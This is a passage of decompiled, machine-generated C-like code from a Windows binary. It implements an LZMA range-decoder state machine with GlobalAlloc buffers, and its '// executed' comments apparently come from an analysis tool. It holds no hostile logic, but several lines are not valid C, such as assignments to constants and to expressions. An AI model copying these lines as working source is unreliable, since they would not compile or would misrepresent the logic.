          											if( *(_t613 - 4) != 0) {
          												GlobalFree( *(_t613 - 4));
          											}
          											_t534 = GlobalAlloc(0x40, 0x600); // executed
          											 *(_t613 - 4) = _t534;
          											if(_t534 == 0) {
          												goto L171;
          											} else {
          												 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
          												goto L10;
          											}
          										case 1:
          											L13:
          											__eflags =  *(_t613 - 0x6c);
          											if( *(_t613 - 0x6c) == 0) {
          												 *(_t613 - 0x88) = 1;
          												goto L170;
          											}
          											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          											 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
          											 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
          											_t45 = _t613 - 0x48;
          											 *_t45 =  *(_t613 - 0x48) + 1;
          											__eflags =  *_t45;
          											L15:
          											if( *(_t613 - 0x48) < 4) {
          												goto L13;
          											}
          											_t546 =  *(_t613 - 0x40);
          											if(_t546 ==  *(_t613 - 0x74)) {
          												L20:
          												 *(_t613 - 0x48) = 5;
          												 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
          												goto L23;
          											}
          											 *(_t613 - 0x74) = _t546;
          											if( *(_t613 - 8) != 0) {
          												GlobalFree( *(_t613 - 8));
          											}
          											_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
          											 *(_t613 - 8) = _t534;
          											if(_t534 == 0) {
          												goto L171;
          											} else {
          												goto L20;
          											}
          										case 2:
          											L24:
          											_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
          											 *(_t613 - 0x84) = 6;
          											 *(_t613 - 0x4c) = _t553;
          											_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
          											 *(_t613 - 0x54) = _t606;
          											goto L133;
          										case 3:
          											L21:
          											__eflags =  *(_t613 - 0x6c);
          											if( *(_t613 - 0x6c) == 0) {
          												 *(_t613 - 0x88) = 3;
          												goto L170;
          											}
          											 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
          											_t67 = _t613 - 0x70;
          											 *_t67 =  &(( *(_t613 - 0x70))[1]);
          											__eflags =  *_t67;
          											 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
          											L23:
          											 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
          											if( *(_t613 - 0x48) != 0) {
          												goto L21;
          											}
          											goto L24;
          										case 4:
          											L133:
          											_t531 =  *_t606;
          											_t589 = _t531 & 0x0000ffff;
          											_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
          											if( *(_t613 - 0xc) >= _t565) {
          												 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
          												 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
          												 *(_t613 - 0x40) = 1;
          												_t532 = _t531 - (_t531 >> 5);
          												 *_t606 = _t532;
          											} else {
          												 *(_t613 - 0x10) = _t565;
          												 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
          												 *_t606 = (0x800 - _t589 >> 5) + _t531;
          											}
          											if( *(_t613 - 0x10) >= 0x1000000) {
          												goto L139;
          											}
          										case 5:
          											goto L137;
          										case 6:
          											__edx = 0;
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x34) = 1;
          												 *(__ebp - 0x84) = 7;
          												__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
          												while(1) {
          													 *(_t613 - 0x54) = _t606;
          													goto L133;
          												}
          											}
          											__eax =  *(__ebp - 0x5c) & 0x000000ff;
          											__esi =  *(__ebp - 0x60);
          											__cl = 8;
          											__cl = 8 -  *(__ebp - 0x3c);
          											__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
          											__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
          											__ecx =  *(__ebp - 0x3c);
          											__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
          											__ecx =  *(__ebp - 4);
          											(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
          											__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
          											__eflags =  *(__ebp - 0x38) - 4;
          											__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          											 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
          											if( *(__ebp - 0x38) >= 4) {
          												__eflags =  *(__ebp - 0x38) - 0xa;
          												if( *(__ebp - 0x38) >= 0xa) {
          													_t98 = __ebp - 0x38;
          													 *_t98 =  *(__ebp - 0x38) - 6;
          													__eflags =  *_t98;
          												} else {
          													 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
          												}
          											} else {
          												 *(__ebp - 0x38) = 0;
          											}
          											__eflags =  *(__ebp - 0x34) - __edx;
          											if( *(__ebp - 0x34) == __edx) {
          												__ebx = 0;
          												__ebx = 1;
          												goto L61;
          											} else {
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__ecx =  *(__ebp - 8);
          												__ebx = 0;
          												__ebx = 1;
          												__al =  *((intOrPtr*)(__eax + __ecx));
          												 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
          												goto L41;
          											}
          										case 7:
          											__eflags =  *(__ebp - 0x40) - 1;
          											if( *(__ebp - 0x40) != 1) {
          												__eax =  *(__ebp - 0x24);
          												 *(__ebp - 0x80) = 0x16;
          												 *(__ebp - 0x20) =  *(__ebp - 0x24);
          												__eax =  *(__ebp - 0x28);
          												 *(__ebp - 0x24) =  *(__ebp - 0x28);
          												__eax =  *(__ebp - 0x2c);
          												 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          												__eax = 0;
          												__eflags =  *(__ebp - 0x38) - 7;
          												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          												__al = __al & 0x000000fd;
          												__eax = (__eflags >= 0) - 1 + 0xa;
          												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
          												__eax =  *(__ebp - 4);
          												__eax =  *(__ebp - 4) + 0x664;
          												__eflags = __eax;
          												 *(__ebp - 0x58) = __eax;
          												goto L69;
          											}
          											__eax =  *(__ebp - 4);
          											__ecx =  *(__ebp - 0x38);
          											 *(__ebp - 0x84) = 8;
          											__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
          											while(1) {
          												 *(_t613 - 0x54) = _t606;
          												goto L133;
          											}
          										case 8:
          											goto L0;
          										case 9:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												goto L89;
          											}
          											__eflags =  *(__ebp - 0x60);
          											if( *(__ebp - 0x60) == 0) {
          												goto L171;
          											}
          											__eax = 0;
          											__eflags =  *(__ebp - 0x38) - 7;
          											_t258 =  *(__ebp - 0x38) - 7 >= 0;
          											__eflags = _t258;
          											0 | _t258 = _t258 + _t258 + 9;
          											 *(__ebp - 0x38) = _t258 + _t258 + 9;
          											goto L75;
          										case 0xa:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 4);
          												__ecx =  *(__ebp - 0x38);
          												 *(__ebp - 0x84) = 0xb;
          												__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
          												while(1) {
          													 *(_t613 - 0x54) = _t606;
          													goto L133;
          												}
          											}
          											__eax =  *(__ebp - 0x28);
          											goto L88;
          										case 0xb:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__ecx =  *(__ebp - 0x24);
          												__eax =  *(__ebp - 0x20);
          												 *(__ebp - 0x20) =  *(__ebp - 0x24);
          											} else {
          												__eax =  *(__ebp - 0x24);
          											}
          											__ecx =  *(__ebp - 0x28);
          											 *(__ebp - 0x24) =  *(__ebp - 0x28);
          											L88:
          											__ecx =  *(__ebp - 0x2c);
          											 *(__ebp - 0x2c) = __eax;
          											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
          											L89:
          											__eax =  *(__ebp - 4);
          											 *(__ebp - 0x80) = 0x15;
          											__eax =  *(__ebp - 4) + 0xa68;
          											 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
          											goto L69;
          										case 0xc:
          											L99:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xc;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t334 = __ebp - 0x70;
          											 *_t334 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t334;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											__eax =  *(__ebp - 0x2c);
          											goto L101;
          										case 0xd:
          											L37:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xd;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t122 = __ebp - 0x70;
          											 *_t122 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t122;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L39:
          											__eax =  *(__ebp - 0x40);
          											__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          											if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
          												goto L48;
          											}
          											__eflags = __ebx - 0x100;
          											if(__ebx >= 0x100) {
          												goto L54;
          											}
          											L41:
          											__eax =  *(__ebp - 0x5b) & 0x000000ff;
          											 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
          											__ecx =  *(__ebp - 0x58);
          											__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
          											 *(__ebp - 0x48) = __eax;
          											__eax = __eax + 1;
          											__eax = __eax << 8;
          											__eax = __eax + __ebx;
          											__esi =  *(__ebp - 0x58) + __eax * 2;
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          											__ax =  *__esi;
          											 *(__ebp - 0x54) = __esi;
          											__edx = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												 *(__ebp - 0x40) = 1;
          												__cx = __ax >> 5;
          												__eflags = __eax;
          												__ebx = __ebx + __ebx + 1;
          												 *__esi = __ax;
          											} else {
          												 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edx;
          												0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          												__ebx = __ebx + __ebx;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											 *(__ebp - 0x44) = __ebx;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L39;
          											} else {
          												goto L37;
          											}
          										case 0xe:
          											L46:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xe;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t156 = __ebp - 0x70;
          											 *_t156 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t156;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											while(1) {
          												L48:
          												__eflags = __ebx - 0x100;
          												if(__ebx >= 0x100) {
          													break;
          												}
          												__eax =  *(__ebp - 0x58);
          												__edx = __ebx + __ebx;
          												__ecx =  *(__ebp - 0x10);
          												__esi = __edx + __eax;
          												__ecx =  *(__ebp - 0x10) >> 0xb;
          												__ax =  *__esi;
          												 *(__ebp - 0x54) = __esi;
          												__edi = __ax & 0x0000ffff;
          												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          												__eflags =  *(__ebp - 0xc) - __ecx;
          												if( *(__ebp - 0xc) >= __ecx) {
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          													__cx = __ax;
          													_t170 = __edx + 1; // 0x1
          													__ebx = _t170;
          													__cx = __ax >> 5;
          													__eflags = __eax;
          													 *__esi = __ax;
          												} else {
          													 *(__ebp - 0x10) = __ecx;
          													0x800 = 0x800 - __edi;
          													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          													__ebx = __ebx + __ebx;
          													 *__esi = __cx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													continue;
          												} else {
          													goto L46;
          												}
          											}
          											L54:
          											_t173 = __ebp - 0x34;
          											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
          											__eflags =  *_t173;
          											goto L55;
          										case 0xf:
          											L58:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0xf;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t203 = __ebp - 0x70;
          											 *_t203 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t203;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L60:
          											__eflags = __ebx - 0x100;
          											if(__ebx >= 0x100) {
          												L55:
          												__al =  *(__ebp - 0x44);
          												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
          												goto L56;
          											}
          											L61:
          											__eax =  *(__ebp - 0x58);
          											__edx = __ebx + __ebx;
          											__ecx =  *(__ebp - 0x10);
          											__esi = __edx + __eax;
          											__ecx =  *(__ebp - 0x10) >> 0xb;
          											__ax =  *__esi;
          											 *(__ebp - 0x54) = __esi;
          											__edi = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												_t217 = __edx + 1; // 0x1
          												__ebx = _t217;
          												__cx = __ax >> 5;
          												__eflags = __eax;
          												 *__esi = __ax;
          											} else {
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edi;
          												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          												__ebx = __ebx + __ebx;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											 *(__ebp - 0x44) = __ebx;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L60;
          											} else {
          												goto L58;
          											}
          										case 0x10:
          											L109:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0x10;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t365 = __ebp - 0x70;
          											 *_t365 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t365;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											goto L111;
          										case 0x11:
          											L69:
          											__esi =  *(__ebp - 0x58);
          											 *(__ebp - 0x84) = 0x12;
          											while(1) {
          												 *(_t613 - 0x54) = _t606;
          												goto L133;
          											}
          										case 0x12:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												__eax =  *(__ebp - 0x58);
          												 *(__ebp - 0x84) = 0x13;
          												__esi =  *(__ebp - 0x58) + 2;
          												while(1) {
          													 *(_t613 - 0x54) = _t606;
          													goto L133;
          												}
          											}
          											__eax =  *(__ebp - 0x4c);
          											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
          											__ecx =  *(__ebp - 0x58);
          											__eax =  *(__ebp - 0x4c) << 4;
          											__eflags = __eax;
          											__eax =  *(__ebp - 0x58) + __eax + 4;
          											goto L130;
          										case 0x13:
          											__eflags =  *(__ebp - 0x40);
          											if( *(__ebp - 0x40) != 0) {
          												_t469 = __ebp - 0x58;
          												 *_t469 =  *(__ebp - 0x58) + 0x204;
          												__eflags =  *_t469;
          												 *(__ebp - 0x30) = 0x10;
          												 *(__ebp - 0x40) = 8;
          												L144:
          												 *(__ebp - 0x7c) = 0x14;
          												goto L145;
          											}
          											__eax =  *(__ebp - 0x4c);
          											__ecx =  *(__ebp - 0x58);
          											__eax =  *(__ebp - 0x4c) << 4;
          											 *(__ebp - 0x30) = 8;
          											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
          											L130:
          											 *(__ebp - 0x58) = __eax;
          											 *(__ebp - 0x40) = 3;
          											goto L144;
          										case 0x14:
          											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
          											__eax =  *(__ebp - 0x80);
          											 *(_t613 - 0x88) = _t533;
          											goto L1;
          										case 0x15:
          											__eax = 0;
          											__eflags =  *(__ebp - 0x38) - 7;
          											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          											__al = __al & 0x000000fd;
          											__eax = (__eflags >= 0) - 1 + 0xb;
          											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
          											goto L120;
          										case 0x16:
          											__eax =  *(__ebp - 0x30);
          											__eflags = __eax - 4;
          											if(__eax >= 4) {
          												_push(3);
          												_pop(__eax);
          											}
          											__ecx =  *(__ebp - 4);
          											 *(__ebp - 0x40) = 6;
          											__eax = __eax << 7;
          											 *(__ebp - 0x7c) = 0x19;
          											 *(__ebp - 0x58) = __eax;
          											goto L145;
          										case 0x17:
          											L145:
          											__eax =  *(__ebp - 0x40);
          											 *(__ebp - 0x50) = 1;
          											 *(__ebp - 0x48) =  *(__ebp - 0x40);
          											goto L149;
          										case 0x18:
          											L146:
          											__eflags =  *(__ebp - 0x6c);
          											if( *(__ebp - 0x6c) == 0) {
          												 *(__ebp - 0x88) = 0x18;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x70);
          											__eax =  *(__ebp - 0xc);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
          											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
          											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
          											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											_t484 = __ebp - 0x70;
          											 *_t484 =  *(__ebp - 0x70) + 1;
          											__eflags =  *_t484;
          											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
          											L148:
          											_t487 = __ebp - 0x48;
          											 *_t487 =  *(__ebp - 0x48) - 1;
          											__eflags =  *_t487;
          											L149:
          											__eflags =  *(__ebp - 0x48);
          											if( *(__ebp - 0x48) <= 0) {
          												__ecx =  *(__ebp - 0x40);
          												__ebx =  *(__ebp - 0x50);
          												0 = 1;
          												__eax = 1 << __cl;
          												__ebx =  *(__ebp - 0x50) - (1 << __cl);
          												__eax =  *(__ebp - 0x7c);
          												 *(__ebp - 0x44) = __ebx;
          												while(1) {
          													 *(_t613 - 0x88) = _t533;
          													goto L1;
          												}
          											}
          											__eax =  *(__ebp - 0x50);
          											 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          											__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          											__eax =  *(__ebp - 0x58);
          											__esi = __edx + __eax;
          											 *(__ebp - 0x54) = __esi;
          											__ax =  *__esi;
          											__edi = __ax & 0x0000ffff;
          											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
          											__eflags =  *(__ebp - 0xc) - __ecx;
          											if( *(__ebp - 0xc) >= __ecx) {
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
          												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
          												__cx = __ax;
          												__cx = __ax >> 5;
          												__eax = __eax - __ecx;
          												__edx = __edx + 1;
          												__eflags = __edx;
          												 *__esi = __ax;
          												 *(__ebp - 0x50) = __edx;
          											} else {
          												 *(__ebp - 0x10) = __ecx;
          												0x800 = 0x800 - __edi;
          												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          												 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          												 *__esi = __cx;
          											}
          											__eflags =  *(__ebp - 0x10) - 0x1000000;
          											if( *(__ebp - 0x10) >= 0x1000000) {
          												goto L148;
          											} else {
          												goto L146;
          											}
          										case 0x19:
          											__eflags = __ebx - 4;
          											if(__ebx < 4) {
          												 *(__ebp - 0x2c) = __ebx;
          												L119:
          												_t393 = __ebp - 0x2c;
          												 *_t393 =  *(__ebp - 0x2c) + 1;
          												__eflags =  *_t393;
          												L120:
          												__eax =  *(__ebp - 0x2c);
          												__eflags = __eax;
          												if(__eax == 0) {
          													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
          													goto L170;
          												}
          												__eflags = __eax -  *(__ebp - 0x60);
          												if(__eax >  *(__ebp - 0x60)) {
          													goto L171;
          												}
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
          												__eax =  *(__ebp - 0x30);
          												_t400 = __ebp - 0x60;
          												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
          												__eflags =  *_t400;
          												goto L123;
          											}
          											__ecx = __ebx;
          											__eax = __ebx;
          											__ecx = __ebx >> 1;
          											__eax = __ebx & 0x00000001;
          											__ecx = (__ebx >> 1) - 1;
          											__al = __al | 0x00000002;
          											__eax = (__ebx & 0x00000001) << __cl;
          											__eflags = __ebx - 0xe;
          											 *(__ebp - 0x2c) = __eax;
          											if(__ebx >= 0xe) {
          												__ebx = 0;
          												 *(__ebp - 0x48) = __ecx;
          												L102:
          												__eflags =  *(__ebp - 0x48);
          												if( *(__ebp - 0x48) <= 0) {
          													__eax = __eax + __ebx;
          													 *(__ebp - 0x40) = 4;
          													 *(__ebp - 0x2c) = __eax;
          													__eax =  *(__ebp - 4);
          													__eax =  *(__ebp - 4) + 0x644;
          													__eflags = __eax;
          													L108:
          													__ebx = 0;
          													 *(__ebp - 0x58) = __eax;
          													 *(__ebp - 0x50) = 1;
          													 *(__ebp - 0x44) = 0;
          													 *(__ebp - 0x48) = 0;
          													L112:
          													__eax =  *(__ebp - 0x40);
          													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
          													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
          														_t391 = __ebp - 0x2c;
          														 *_t391 =  *(__ebp - 0x2c) + __ebx;
          														__eflags =  *_t391;
          														goto L119;
          													}
          													__eax =  *(__ebp - 0x50);
          													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
          													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
          													__eax =  *(__ebp - 0x58);
          													__esi = __edi + __eax;
          													 *(__ebp - 0x54) = __esi;
          													__ax =  *__esi;
          													__ecx = __ax & 0x0000ffff;
          													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
          													__eflags =  *(__ebp - 0xc) - __edx;
          													if( *(__ebp - 0xc) >= __edx) {
          														__ecx = 0;
          														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
          														__ecx = 1;
          														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
          														__ebx = 1;
          														__ecx =  *(__ebp - 0x48);
          														__ebx = 1 << __cl;
          														__ecx = 1 << __cl;
          														__ebx =  *(__ebp - 0x44);
          														__ebx =  *(__ebp - 0x44) | __ecx;
          														__cx = __ax;
          														__cx = __ax >> 5;
          														__eax = __eax - __ecx;
          														__edi = __edi + 1;
          														__eflags = __edi;
          														 *(__ebp - 0x44) = __ebx;
          														 *__esi = __ax;
          														 *(__ebp - 0x50) = __edi;
          													} else {
          														 *(__ebp - 0x10) = __edx;
          														0x800 = 0x800 - __ecx;
          														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
          														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
          														 *__esi = __dx;
          													}
          													__eflags =  *(__ebp - 0x10) - 0x1000000;
          													if( *(__ebp - 0x10) >= 0x1000000) {
          														L111:
          														_t368 = __ebp - 0x48;
          														 *_t368 =  *(__ebp - 0x48) + 1;
          														__eflags =  *_t368;
          														goto L112;
          													} else {
          														goto L109;
          													}
          												}
          												__ecx =  *(__ebp - 0xc);
          												__ebx = __ebx + __ebx;
          												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
          												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          												 *(__ebp - 0x44) = __ebx;
          												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
          													__ecx =  *(__ebp - 0x10);
          													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
          													__ebx = __ebx | 0x00000001;
          													__eflags = __ebx;
          													 *(__ebp - 0x44) = __ebx;
          												}
          												__eflags =  *(__ebp - 0x10) - 0x1000000;
          												if( *(__ebp - 0x10) >= 0x1000000) {
          													L101:
          													_t338 = __ebp - 0x48;
          													 *_t338 =  *(__ebp - 0x48) - 1;
          													__eflags =  *_t338;
          													goto L102;
          												} else {
          													goto L99;
          												}
          											}
          											__edx =  *(__ebp - 4);
          											__eax = __eax - __ebx;
          											 *(__ebp - 0x40) = __ecx;
          											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
          											goto L108;
          										case 0x1a:
          											L56:
          											__eflags =  *(__ebp - 0x64);
          											if( *(__ebp - 0x64) == 0) {
          												 *(__ebp - 0x88) = 0x1a;
          												goto L170;
          											}
          											__ecx =  *(__ebp - 0x68);
          											__al =  *(__ebp - 0x5c);
          											__edx =  *(__ebp - 8);
          											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
